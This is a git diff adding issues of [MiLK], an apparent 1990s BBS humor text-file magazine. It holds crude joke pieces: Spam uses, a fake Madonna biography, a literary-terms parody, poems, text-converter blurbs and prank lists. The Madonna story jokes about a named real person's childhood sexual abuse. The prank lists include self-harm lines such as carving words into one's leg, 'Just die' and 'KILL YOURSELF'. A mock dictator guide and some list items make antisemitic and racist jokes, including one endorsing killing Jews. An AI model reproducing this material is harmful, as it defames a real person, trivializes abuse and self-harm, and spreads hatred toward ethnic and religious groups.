of Spam, it is a + normal reaction and all part of the Spam Experience. + + What else is Spam good for? Spam is wonderful for making sculptures. + It is more versatile than modeling clay, in that it is not as heavy and + will not retain fingerprints. It is easier to sculpt, in that using a + knife to flake off slivers of Spam will work better than doing that + same thing with clay. And, if the sculpture is an utter failure, you + can fry it up and eat it. If you do not plan to eat your masterpiece, + coat it with Elmer's Glue, yes, the disgusting white junk that smells + like crap. It will seal a snotty cover around the entire thing and + prevent flies from getting to it. This glue cover, if sufficiently + airtight, will also kill the budding lamprey larvae. Unfortunately if + you do not put a thick enough cover on, and there is a leak, the + lamprey larvae will eventually break out and ruin the sculpture. Good + things to sculpture with Spam include little animals (elephants are the + easiest), dinosaurs, famous rock stars (you can usually use a blob for + the face), text file authors, and even phallic symbols. + + Spam can also be used to flavor drinks. Although the stuff is greasy, + which will leave a disgusting film on top of the drink, if you use a + straw you will not notice. Just grind up the Spam, letting the liquid + in the Spam run down. You do NOT want to use the liquid, it is pure + grease without any salt in it. Now put the Spam into a drink which + does not have enough flavor and shake well. You can be sure that the + drink will now be packed with flavor. Some people dislike this method + of using Spam. + + Too much Spam can be fatal, so do not eat the stuff in large doses, one + can is more than enough for one meal. Always eat Spam with Tang, the + concentrated sugar experience--Tang requires no Spam flavoring. + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + The Real Madonna + + Many of you may know her already--the blond, lascivious, lucious +enchantress. But were you aware of her secret life--the REAL +madonna..behind the movie screens, the bitchy attitude, the stuck up nose, the +pelvis thrust, the chastity belts made of paper that weren't really much good +anyway.. but well, that's another story. But what lies behind that facade? +Well, you're just about to find out. + + When Madonna was a small girl, growing up in southern Tennessee, the one +thing she yearned for was to become a wife. She adored her father and wanted +to be exactly what her mother was to her father: slave. She did everything her +daddy wanted, even dressing up in those skimpy dresses that weren't really +much fun to play in at all, even when daddy hurt her in that one place and she +didn't understand why. She never did tell mommy about it, because when she was +even younger, she'd seen daddy doing the same thing to mommy, so she figured +it was normal and she just must have been weird-in-the-head and she better +stop it so that she can be a better slave and not write all these run on +sentences. + + Young Madonna's name wasn't even Madonna. Her name was Bessie--her father +named her after his best cow. He always used to talk about what a fine cow +that Bessie was.. Bessie helped the poor farmers through the hardest times, +and the father had formed a..shall we say..special...attachment...to the cow. +But that disease wasn't well-known until much later. But +young-Bessie-that-eventually-became-virtuous-Madonna loved her father and +everything he loved, so she loved Bessie-the-cow, her namesake, also. + + When Bessie was about 10 years old, her mother passed away. She was 29 and +died while trying to give birth to her 9th child with Bessie's father. The +baby died soon after, and Bessie's father was in a horrible mood after the +baby died. Bessie wondered what "dumb bitch couldn't even bring me some more +welfare" meant but she never did get around to asking her father. + + Now, Bessie loved her mother and father very much and wanted to keep her +mother's memory alive, so she decided to take her mother's place. She did all +the chores that her mother did, plus some new additional ones that her papa +taught her. She never really did enjoy the things papa taught her, but papa +knows best. I mean, after all, she was his slave, what else did she need in +life? + + All in all, Bessie was one happy gal. She lived a happy life on the farm +for the next five years being slave. When she was fifteen, however, she +accidentally broke the old rusting lock on an old door in the barn and peered +inside the cavernous space. She saw glints of light reflected off of some +metal. After a closer inspection, she discovered whips, chains and all sorts +of interesting toys. At this point, Bessie found her calling. She grabbed +all the sexual devices (for that's what they really were, though the poor girl +was too ignorant at that point to even know that) and ran out away from the +farm. She would never return. + + Bessie ran and ran and ran and ran for hours and hours and sentences and +sentences and sentences and lines and lines and lines. Eventually, the chains +wore her down and she sat by the roadside to rest. She leaned up against the +decrepit fence at the edge of the road and drifted off to dreamland. She +dreamt about her father, and how much she missed him, but she knew that she +had somehow found something that would link her to her future, her fate. Then +her dream started shaking, and when she woke up, she found herself lying down +in the back of a truck wobbling its way down the bumpy road. She sat up and +looked around her, first checking for her chains--phew, they were right there +next to her. The truck passed through miles of cornfield and flat lands, and +Bessie realized by that point that she must be in Illinois. She was scared of +who the people in the truck were, so she grabbed her toys and jumped out at +the first sign of life--which happened to be chicago. + + Bessie carried her toys down into the city, earning a few dollars by +selling some to passerbys that admired her whips. She would crack the whips on +street corners to get people to come over and pay attention, usually getting +lots of attention (For she was a rather nice looking girl, after all) except +from the old women that called her a young whippersnapper. (ouch.) In one day, +she earned enough money (for her chains were of the highest quality) to get an +audition. (Well, after all, that's what everyone wants to be--a starving +artist of some sort) The nice men at the audition liked her legs so much (i +mean, they liked her so much) that they gave her a job. All she had to do was +lie on a bed and scream and they would videotape her and give her lots of +money. Well, this sounded great to Bessie, after all, she loved being a slave. + + One day while she was lying and screaming, a man rushed in from somewhere +and shouted "YES! that's her! that voice.. the tone..the pitch..it's perfect!" +and they took Bessie away. + + "What's your name, girl?" asked the man. + + "Bessie," she replied. + + "Dreadful. Sounds like the name of a cow. It'll have to go.. all right, +we're into the opposites.. let's name her after one of the most saintly +figures.. Madonna. How's that sound? That's your new name." + + "Okey-Dokey," madonna replied. She was happy. + + Madonna started training, taking lessons for singing and lessons for how +to writhe around to get young and old men alike to look at her and lessons for +how to play the flute (for one must always be well-rounded. and boy +was she well-rounded). And eventually, she even became kinda good at it. She +could actually carry a tune. But that was probably from all the years of hard +work on the farm.. She'd built up lots of strength back then. + + Eventually Madonna came to be quite well-known. She even began to +develop.. a personality. That of a vixen, but still, a +personality. She did have a fascination with locks and little boys (probably +stemming from her experiences with finding the chains and god knows where the +little boys bit came from) but other than that, she was a normal sex queen. +Her 'music' became very popular, and Madonna even got to do the +writhing-around-on-the-bed-bit on STAGE! The whips and chains and chastity +belts came in later on in her career, but Madonna was, in a word...happy. + + And that is how Madonna came to be. Once an innocent young girl with +aspirations of becoming a slave, now a lewd lascivious leering Lolita with +aspirations of shocking as many people as she could. + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + Literary Terms + -------------- + + Useful Guide by Biff Thelmus Bonglemeister III... + striking fear into the hearts of teachers everywhere + + Boy, English teachers are sure full of shit. In fact, I bet your + English teacher makes you memorize/regurgitate all sorts of "literary + terms," they LOVE that one, those freaks. So here we are, all the + literary terms you'll ever want, WITH EXAMPLES!!! For the sake of + convenience the guy in some of the examples has this name we pulled + totally out of thin air, he's called Neil Zibble. Okay here we go: + + Acronym: This is a bunch of letters, not succeeded by periods, which + stand for something or other, like NASA or SCUBA or BLaH or MiLK, or + even MK][. + + Alliteration: Consanance at the beginning of words, i.e. "Scott self + services while singing." Cf. CONSANANCE + + Allusion: This is where some guy is not original enough to keep his own + head afloat, and refers to some other guy, e.g. (boy, don't you love + Latin? Nobody understands it, not even you, but it makes ya look + damned SMART) when you make a reference to someone else's work. So + it's a lot like plagarism, it's like when I say "boy that text file + BLAH-042.TXT, the BLaH Field Guide To Lampreys, boy that's a pretty + hot piece of work," I am ALLUDING to that. + + Assonance: Repitition of vowel sounds, like "NeEEeil eEEes a peEEenis" + (emphasis added) or "go blow a G.I. Joe." Cf. CONSANANCE + + Bad Joke: Your face. Hah! Hah! Hah. Cf. VERY WORST JOKE + + Climax: EWWW!! What are YOU thinking of, don't deny it! This is a + LITERARY climax, that's when the plot of the story gets its most + exciting. For example, if some book was about Neil Zibble killing + (another hypothetical person) Scott Chazin, the part when Neil shoots + Scott is the climax. Cf. RISING ACTION, FALLING ACTION, CONCLUSION + + Conclusion: This is the resolution of a book, where all the loose ends + get tied up and the main character wakes up discovering that it was + all a dream. At least, that happens on "Dallas." Example: Neil + Zibble has finished axe-murdering people, now he wakes up and finds + out it was all a sadomasichist dream. Cf. FALLING ACTION + + Conflict: A fight of some sort. There are four kinds of conflict: + Man-vs-Man: Where person(s) are against other person(s), i.e. Neil + Zibble fights Scott Chazin. + Man-vs-Nature: Where person(s) are fighting against Nature, i.e. Neil + Zibble is getting eaten by a lamprey. + Man-vs-Society: Where person(s) are being fucked over (not fucked, + fucked over) by society, i.e. Neil Zibble is framed for shooting + someone else's dog when Scott Chazin was the guy who did it. + Man-vs-Himself: Where there is an INTERNAL CONFLICT, i.e. Neil Zibble + debates whether masterbation is evil. Cf. INTERNAL CONFLICT + + Consanance: Repitition of consanant sounds, like NNNneil the + nNNnecrophiliac nNNneeds banNNnanNNna dDDdildDDdos (emphasis added). + Cf. ASSONANCE + + Falling Action: This is what happens after the climax, when we begin + working towards the conclusion. No example, Cf. CONCLUSION + + Hook: This is an introduction or a beginning (or just part of a story) + designed to catch one's eye and thus make someone want to read + something. Example: see SADOMASICHISM + + Internal Conflict: This is a man-vs-himself conflict, which can either + be the entire conflict of a book or just a little chapter of it, + i.e. a whole book based on internal conflict would be Neil Zibble + debating whether to kill his dad, a chapter maybe when Neil Zibble + asks himself if he should or should not wear a condom. Cf. CONFLICT + + Irony: This is where something opposite to what one would expect + happens. For example: Neil Zibble is masturbating, and then he says, + "I'm not repressed," that's irony. Then when he says, "but I bet you + are and I can help you," that's sick. Cf. SARCASM + + Recursive Acronym: An acronym that refers to itself, like GNU ("GNU's + not Unix"), or RAS ("Recursive Acronyms Suck"). + + Rhyme: There are lots of different kinds of rhyme, rhyme is strong + assonance at the end of a line, like "Neil Zibble is a schmuck/He + masterbates in the muck." Cf. ASSONANCE, SLANT RHYME + + Rising Action: Another amazing example of how disgusting literary terms + can sound, especially when we consider that this is how we get to the + climax. Yes, that's right, the author starts the rising action which + builds to the climax, example is in a book about Neil Zibble the + small furry animal torturer, rising action is how he was abused as a + kid and watched a small furry animal bite his neck. Cf. CLIMAX + + Rime: see RHYME + + Sadomasichism: Not a literary term, we put it in here as an example for + HOOK, this caught your eye, didn't it? + + Sarcasm: This is irony, but said in a spirit of sadism, e.g. irony used + to hurt someone. Example: Scott Chazin says to Neil Zibble, "boy, + masterbation is NORmal, don't worry," and then starts cracking up. + Cf. IRONY + + Slant Rhyme: Rhyme that is not exact, like "penis" and "slice." A + half-rhyme, sometimes called a "female" rhyme. or a "sprung" rhyme. + Cf. RHYME + + Very Worst Joke: Your MOTHER's face. Hah! Hah! Hah. Cf. BAD JOKE + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + +Sea Of Pain....By Psychotic Ambition + +I am sailing +Sailing the sea of pain + +The ending I can't forsee +But the pain is acompaning me + +Slowly I am becoming weak +Survival is what I seek + +Laugher is what I hear +Day and Night every year + +It laughs at my help cries +Darkness engulfs the skies + +Storm is drawing near +I am running out of time I fear + +I am slowly moving ahead +In the right direction is yet to be said + +My boat has a leak +My outlook looks bleak + +But I'll try to find a way +To escape from the price I pay + +I am sailing the sea of pain +My efforts to escape are in vain + +Serve by Psychotic Ambition +--------------------------- + +Serve your master +You know who he is + +Serve your master +You know that he bids + +Serve your master +Or pay the price + +Serve your master +You're trapped like mice. + +Serve your master +He's coming over + +Serve your master +Your life is over + +Rain by Psychotic Ambition +------------------------- + +One by one they all descend +Their destination unknown + +Easily carried by the wind +They are persuaded here and there + +Though they travel different routes +They all end in the same place + +But that is not the end of their journey +For it is neverending + +Over and over they travel +Not knowing where they might land + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + Anarchy Utility + --------------- + + Converts text files to Anarchist, "I'm a Hacker Wannabee Who Knows + Stupid Computer Characters and Extended ASCII Codes" format. This is + really useful for generating huge text files in totally nonsensical + format. It's hard to read, so encrypt files with swears or explicit + sex in them so parents reading them over your shoulder will get + headaches and die! Or, convert your entire TERM PAPER to Anarchist + format, and annoy the SHIT out of your teachers!! + + ANARCHY is a file viewer, use it exactly like you use the DOS command + TYPE (you know, the command that views the contents of a file). At the + DOS prompt just type: + + C:\>ANARCHY {filename} + + Where {filename} is the filename to be converted. This will display + the contents of {filename} in Anarchist format. If you want to save + this neat-O Anarchist formatted-text in another file, use standard DOS + redirection piping, like so: + + C:\>ANARCHY {filename1} > {filename2} + + Where {filename1} is the file to read from, and {filename2} is the file + to be written to. + + ----------------------------------------------------------------------- + + An example, before conversion... + + Listen to the voices in your head, that say to you: + Cheat on tests, it doesn't matter, nobody cares. + Kill your neighbor's lawn with DranO the next chance you get. + Look, there's a dog, bean it with that rock! + Teachers... and whips... a good combination! + Set your house on fire! + Listen to heavy metal... and KILL YOURSELF! + + And after conversion. + + L¡zÅîï Å” Åhî v”¡‡îz ¡ï y”â hî ë, Åh Å z y Å” y”: + ›hî Å ”ï ÅîzÅz, ¡Å ë”îzï'Å m ÅÅîâ, ï”b”ëy ‡ âîz. + ]<¡|| y”â ïî¡9hb”â'z | vvï vv¡Åh ])â ï0 Åhî ïîxÅ ‡h ï‡î y” 9îÅ. + L””k, Åhîâî'z   ë”9, bî ï ¡Å vv¡Åh Åh Å ┇k! + çî ‡hîâz...  ïë vvh¡æz...   9””ë ‡”mb¡ï Å¡”ï! + 5îÅ y”â h”zî ”ï Ÿ¡âî! + L¡zÅîï Å” hî vy mîÅ |...  ïë ]<|LL 0šâ5äLF! + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + + "Indiana Drivers, They Suck!" + + Hello, I'm back. . . +Well, I'm here to tell you about some of the world's worst drivers, Indiana +drivers. There is BAD driving, then there is stupid driving, then the +combination of the two, "Indiana Drivers." They are in a class all their +own. I'm sorry if you have any relitavies in that state or you live there. +If you moved there, mostlikly you don't drive like them so don't wory. + +Ok, here goes it. . . + +. . .They drive at 40mph no matter what the speed limit (i live in Crete, +about 30 sec from Indiana), slower if they are old or have a really crappy +car. They insist on driving in what ever lane will piss off the most people +or so it seems. Picture it, your gonna make it to school in just enough time +to get to your locker and to your first class (home room for me, yes HR in +High School). You pull out onto the main street, start going at about 45 +in a 40. You come up on an Indiana driver, going say 35. The clock ticking +towards 8am, you are behind by about 2 min now because you've been following +this guy for about 5 min. You finally get to a 4 lane road (route 30) and +pass the guy cause you decide to go the speed limit (or 5 mph over), it seems +that you have passed him so quick your going 70 or 80, you check, your lucky +your only going 60, no, just kidding, your going 50 in a 45. You wonder why +this person "must" go 35 or 40 in this zone. Oh well, you continue up till +Burnham and 83. You turn onto Burnham and accelerate up to 55, the speed +limit is 50 till the airport (about 3 to 5 miles). You come up on another +Indiana driver, now your on his bumper going 40 - 45. You finally get up +to the light, make your left turn. It's the home strech (or school strech), +you have no one infront of you and you arive to school, park your care +in some lame way that the principal said to or he'd have your car towed. +You sprint into the school, you get past the hall to the library and you hear +"RIIINNNNNGGGGGGGG!" It's the 8am bell, your late, life sux and another +damn Indiana driver/person FUCKS up again and will not even pay for it, or +even care, except for the fact that they will never get a ticket for going +too fast, but who knows about going too slow. Man that was my 3rd tarty, +one more, and you get to stay after school for 50 min with your loving (NOT) +principal. Man does life suck! + +Well thanks again for reading guys. Let me know what you think so far +about my writing and toppics. + + Driving off, + IceMECH + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + KRaD Utility + ------------ + By Biff Thelmus Bonglemeister III + + Converts any text file into KRaD studlycap format! Really useful for + annoying the FUCK out of people who hate studlycaps. Also really + useful for converting ENTIRE TEXT FILES, i.e. essays, term papers, etc. + for submission at school, drives teachers absolutely BONKERS! + + KRaD is a file viewer, use it exactly like you use the DOS command TYPE + (you know, the command that views the contents of a file). At the DOS + prompt just type: + + C:\>KRAD {filename} + + Where {filename} is the filename to be converted. This will display + the contents of {filename} in studlycap format. If you want to save + this studly studlycap formatted-text in another file, use standard DOS + redirection piping, like so: + + C:\>KRAD {filename1} > {filename2} + + Where {filename1} is the file to read from, and {filename2} is the file + to be written to. + + ----------------------------------------------------------------------- + + An example, before conversion... + + Call your nearest kRad GinsuTalk chat system, Nuclear Greenhouse! + And, while you're on, why not go behind the innocent facade and visit + one of the world's largest elite file boards, Nuclear Warezhouse! Get + tons of kRad elite warez. Just call Nuclear Greenhouse at 998-0008, + and ask for Dave the sysop. Nuclear Greenhouse--an incredible 17 + nodes, running GinsuTalk at 300, 1200, 2400, 9600, and 14.4k baud! + + And after conversion. + + CaLL YouR NeaReST KRaD GiNSuTaLK CHaT SYSTeM, NuCLeaR GReeNHouSe! + aND, WHiLe You'Re oN, WHY NoT Go BeHiND THe iNNoCeNT FaCaDe aND ViSiT + oNe oF THe WoRLD'S LaRGeST eLiTe FiLE BoaRDS, NuCLeaR WaReZHouSe! GeT + ToNS oF KRaD eLiTe WaReZ. JuST CaLL NuCLeaR GReeNHouSe aT 998.ooo8, + aND aSK FoR DaVE THe SYSoP. NuCLeaR GReeNHouSe..aN iNCReDiBLe 17 + NoDeS, RuNNiNG GiNSuTaLK aT 3oo, 12oo, 24oo, 96oo, aND 14.4K BauD! + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + "Fun in the Hole" By Nature Boy (NB!) + + + As of now, I am sitting in my In School Suspension room trying to look +writting this....SHHhhhh...Anyways, I decided to write a list on 101 fun +things to do in the "Hole". The hole...such a dreaded place, boring and +almost seems never-ending, but this Tfile may help time go by, even in a +fun way! Most of these are things I have done either to stay out of trouble, +or just to annoy the teacher. + + 1. Chant word em up numerous times + 2. Play with your food, and draw it. + 3. Grind every pencil in the area with the sharpener + 4. Click staples every-where + 5. Scribble on the desks + 6. Make projectile weapons out of non-used rubber bands + 7. Randomly throw you arms around so they think you are insane + 8. Press the office pager like your playing Mortal Kombat + 9. Tear every page out of an Encyclopedia Britannica set + 10. Tell a teacher of your last lamprey hunt. + 11. Take your bottle of pepsi upside-down in your mouth thinking you are a + five gallon water bottle + 12. Build castles out of mud from your shoes + 13. Stare at a teacher and blink like the shutters of a japanese tourist's + camera + 14. Use your projectiles to stcik pens in the celing + 15. Fopam from the mouth + 16. Carve SMeG in your leg + 17. Bring a jar of tang for lunch + 18. Stan and salute as each teacher passes through + 19. Complain about teachers they're firends with + 20. Complain about flashing flourecent lights + 21. Tell endless stories about Jethro Poor Boy's bad attitude + 22. Constantly colapse + 23. Pretend your on a horse as the secretarys type + 24. Mumble about the war in your head + 25. Mumble about the blood clot in your head + 26. Mumble how good pencil shavings taste + 27. Use a flourecent highlighter to highlight every page in a book + 28. Make bongs out of paper clips + 29. Make magnets stick through your head + 30. Twist and turn a goatie you dont even have + 31. Twist and turn your teachers goiter + 32. Eat like a starving puppy + 33. Flicker the light screaming FLaSHeRS!! + 34. Tell teahchers of the times you and your book bag have gone through + 35. Tear your soc to shreads + 36. Pluck your hair out + 37. Jump in on conversatioins that have nothing to do with you + 38. Cheer as each minute on the clock passes + 39. Write [MiLK] files on 101 things to do in the hole + 40. Tangle the blinds up REAL bad! + 41. Plot an escape from Alkatrez + 42. Use any form of white powder to form lines + 43. Drool on everything + 44. Contantly put your feet on the tables + 45. Color your hair with markers + 46. Maim and beat your favorite secretary + 47. Xerox your face when no ones looking + 48. Xerox your face when no ones looking + 49. Do all of the above untill milk comes out of neaghboring students nose + 50. Jump on the desk and dance like Ed Grimly + 51. Make a Van Gogh from saftey pins + 52. wank Wank WANK! + 53. Take the desks apart + 54. Ask to go to the bathroom every five minutes + 55. Shove anything into an electrical outlet + 56. Paint a picture + 57. Pain the walls + 58. Yeah + 59. Ummm + 60. + 61. Play whats in the box with your imaginary friend + 62. Read Platoon upside-down + 63. Repeativly fall out of your chair + 64. Bead and knot your shoelaces + 65. While on the floor, roll around + 66. Support Beastiality + 67. Start a patition to leagalize sodomy + 68. Pop zits across the room + 69. <-- Number speaks fo its self + 70. Write Nature Boy out of used chewing gum + 71. Rant and Rave about how you will sensely beat your + Sea Monkeys when you get home + 72. Never close your mouth + 73. Arrange your Perry Como albums alphabeticaly from Z-A + 74. Whistle untill you burst a lung open + 75. Constantly clink a zippo lighter open an shut + 76. Jab other students with a compass + 77. State you are the Electric Messiah, kooler than Jesus + 78. Preform slight of foot acrobatics on twine and two desks + 79. Continue playing that famous air guitar + 80. Write Sam Hein on your forehead with blood-red lipstick + 81. Practice your regular kult rituals + 82. Use as many racial slurs as you can find in that Spanish dictionary + 83. Count all your money, mumbling "Bitch betta have my money...." + 84. Sing a song by the carpenters + 85. Pick stuff out of your teeth + 86. Ignite any of your body hairs to give off a terible smell + 87. Tell how funny Shindlers List was to a teacher you KNOW is Jewish + 89. Remove that leather belt and lasso objects + 90. Make a splash as you dive into the trash can + 91. Take notes on thee teachers behavior's + 92. Slam a T-Square up that drafting teachers ass + 93. Act and swing like a beat-nick + 94. Hiss and Scratch like a cat + 95. Delace and Relace your shoes + 96. Giggle at the naked pictures in the National Geographic + 97. Break a red pen open and ask to see the nurse + 98. Pretend your playing pong + 99. Lick crumbs off any surface + 100. Make a bag pipe from a few straws and a bag of chips + 101. Command a fleet of paper air-planes! + + + Well, there's your list. I do not own a lap-top, so I re-typed it when I +home. After completing every procedure on this list, you teachers can be +concidered Leagaly Insane in a court of Law. There are some inside jokes in +there, and those not understanding, you might wana ask me. + + + GReeTZ: Wolverine, Charlie Brown/Nightbreed, Frizzle Fry, + Les Claypool, and anyone else that isnt on the spotlight + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + +"42 Fun Things To Do At The Hospital" + + Hellllllllllllllllllllllllllllllo, NURSE! + + So, you are in the hospital. Perhaps you have been committed to be +insane, perhaps you have a bladder infection, perhaps you broke your spleen, +the cause is irrelevant, you are stuck. The hospital really isn't much fun at +all, but while you are there, you might as well make the most of it. I was in +the hospital the past weekend and came up with a little list of hints and +tips for you to make your stay more enjoyable. + +1. Play wheelchair demolition derby. +2. Play bingo with the heart patients. +3. Play twister with the mental patients. +4. Play the Michael Jackson game in pediatrics. +5. Play with the neat control things for the craft-0-matic beds. +6. Throw the neat control things for the bed at the nurses. +7. Throw your TV remote control at the TV. +8. Throw your TV remote control out of the window. +9. Insist your name is "Javier-Adbul-Jabeeb the Third". +10. While taking a blood test, take the syringe and do it yourself. +11. Steal other patients' ID wristbands. +12. Steal other patients' organs. +13. Beg your nurse for "2 poundz of mo' phine!" +14. Rig other patients wheels so they work like shopping carts. +15. Always insist on a fifth opinion. +16. Draw obscene pictures on the papers attached to your bed. +17. Draw obscene pictures on your nurses' heads. +18. Hide under the covers and don't come out. +19. Lie face down in a busy area of the hospital and don't move. +20. Try to wheel your wheelchair out of a window. +21. Stick your face in the "sharps" bin. +22. Bleed on your doctor and ask lots of questions about AIDS. +23. Never flush your toilet. +24. Take a shower exactly every 69 minutes. +25. Have 'nam flashbacks frequently. +26. Walk directly into walls all over the hospital. +27. Call other patients and breathe heavily. +28. Tell the operator they are waiting for her in the operating room. +29. Make yourself into a mummy with bandages. +30. Fashion a fake gun from a bar of soap and escape. +31. Gain an eating disorder. +32. Vomit on your doctor. +33. Insist that the nurse NOT leave the room for X-rays. +34. Ask your doctor if you can still smoke crack with your condition. +35. Smoke crack in your room, regardless of his answer. +36. Sing Monkees songs non-stop. +37. Pound on the wall, and insist that it is music. +38. Put on your hospital gown backwards. +39. Wear a sign saying "I'm Lost" and wander aimlessly. +40. Wheel your bed into the hallway and go to sleep. +41. Write a letter to our president supporting our FUN health care system. + +and, well, the last one... + +42. Just die. + + Well, that's about all the fun things there are to do in the +hospital. Maybe there are more, but I'm not very creative. Hospitals are bad +places, try to avoid them if possible. Farewell, and well thee may fare. + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + "How to take over your government" + or + "How to become a world power in 5 easy steps" + + Ok, we all know how much we'd like to all be the leaders +of our own Dictatorships. Well, if you use this guide, these +5 easy steps should bring you fame and mass hatred towards +you! It's simple. + + "I used Jamesy's Guide, and look what it did for me! +I especially liked his suggestion about killing all the jews..." + -Adolf... somebody + + Let's get to the Basics. Step ONE. To gain power, you +have to be a strong speaker. No shy people really ever become +dictators, just doesn't happen. That one is easy enough. If +you do not fall under this catagory, proceed to taking Acting, +Public Speaking, and Speech classes. + + Step TWO. Have a really big ego. Unless you're sure +of yourself to the point of arrogence, you're going to have a +hard time taking power. Make sure you know how to make quick, +bias decisions. If you do not fall under this catagory, +proceed to take more acting classes, for all actors have egos. + + Step THREE. Have lots of weapons. Whether this +consists of nuclear weapons, or Manpower, or what not, you +need to have a sufficent amout of Ammmunition to be able to +take over the government. If you do not fall under this +category, proceed to use the skills you learned in steps one +and two to impress your friends and neighbors into following +your "Cause". Then gets lots of money, and use it on +Weaponry. Then scare more people into joining your brigade +because now you have weapons to do this. Then buy more +weapons. And keep the process going. + + Step FOUR. Find somebody to really hate. All the +best dictators always had a certain Ethnic group or Religeon +to base all the problems of the world upon. This category is +relatively easy, just find someone who you despise and take +all your anger out upon his Racial or Ethnic clan. + + Step FIVE. Kills lots of people. After proceeding +with step three, this one again should be relatively easy. +Just shoot lots of innocent people, and scare lots of people, +and kill the people that aren't scared, and kill the people +that are scared. Basically, kill anything in your path that +does not agree with you. + + By following this simple five steps, you can lead your +country into a successful tyrannical ancestry that's sure to +last and last. + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û Barney's Pleasure Palace...(708)965-3098 [14,400] +Û²²²²²²²²²²²Û The Acropolis..............(708)557-2826 [14,400] +Û²²²²²²²²²²²Û The Lunatic Phringe........(708)232-0565 [12 Nodes] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û BIG Issue #1 +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 40622 bytes long + diff --git a/textfiles.com/magazines/MILK/milkbig2.txt b/textfiles.com/magazines/MILK/milkbig2.txt new file mode 100644 index 00000000..493bb3df --- /dev/null +++ b/textfiles.com/magazines/MILK/milkbig2.txt @@ -0,0 +1,801 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± BIG Issue 2 + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± + °°± °°± °°°± °°°± °°°± + °°°± °°°± °°°± + °± °± °°± + + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + Table of Junk + +"Why The World is Full of Shit"............................Yohan Bawk +"The Lovers"...............................................Whoops +"2^5 fun things to do to parapros".........................Yohan Bawk +"Thoughts, Memories, Questions + Swallow The Freak + Empty + mother + Power Trip"...............................................Psychotic Ambition +"An Interview With A Satanist"............................James Hetfield +"Bobbitized"..............................................Whoops +"Man-Dyslexic of Adventures The"..........................Yohan Bawk +"Nyarlathotep Steals Old, Really Bad Joke"................Nyarlathotep +Untitled Work.............................................James Hetfield + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + Why the World is Full of Shit + ----------------------------- + + War, famine, pestilence, death, plague, murder, MTV, suffering, + conflict, emotional wreckage, lampreys--there are just so many damned + shitty problems in the world today. Just why does the world have all + this shit we have to deal with? + + The other day, two 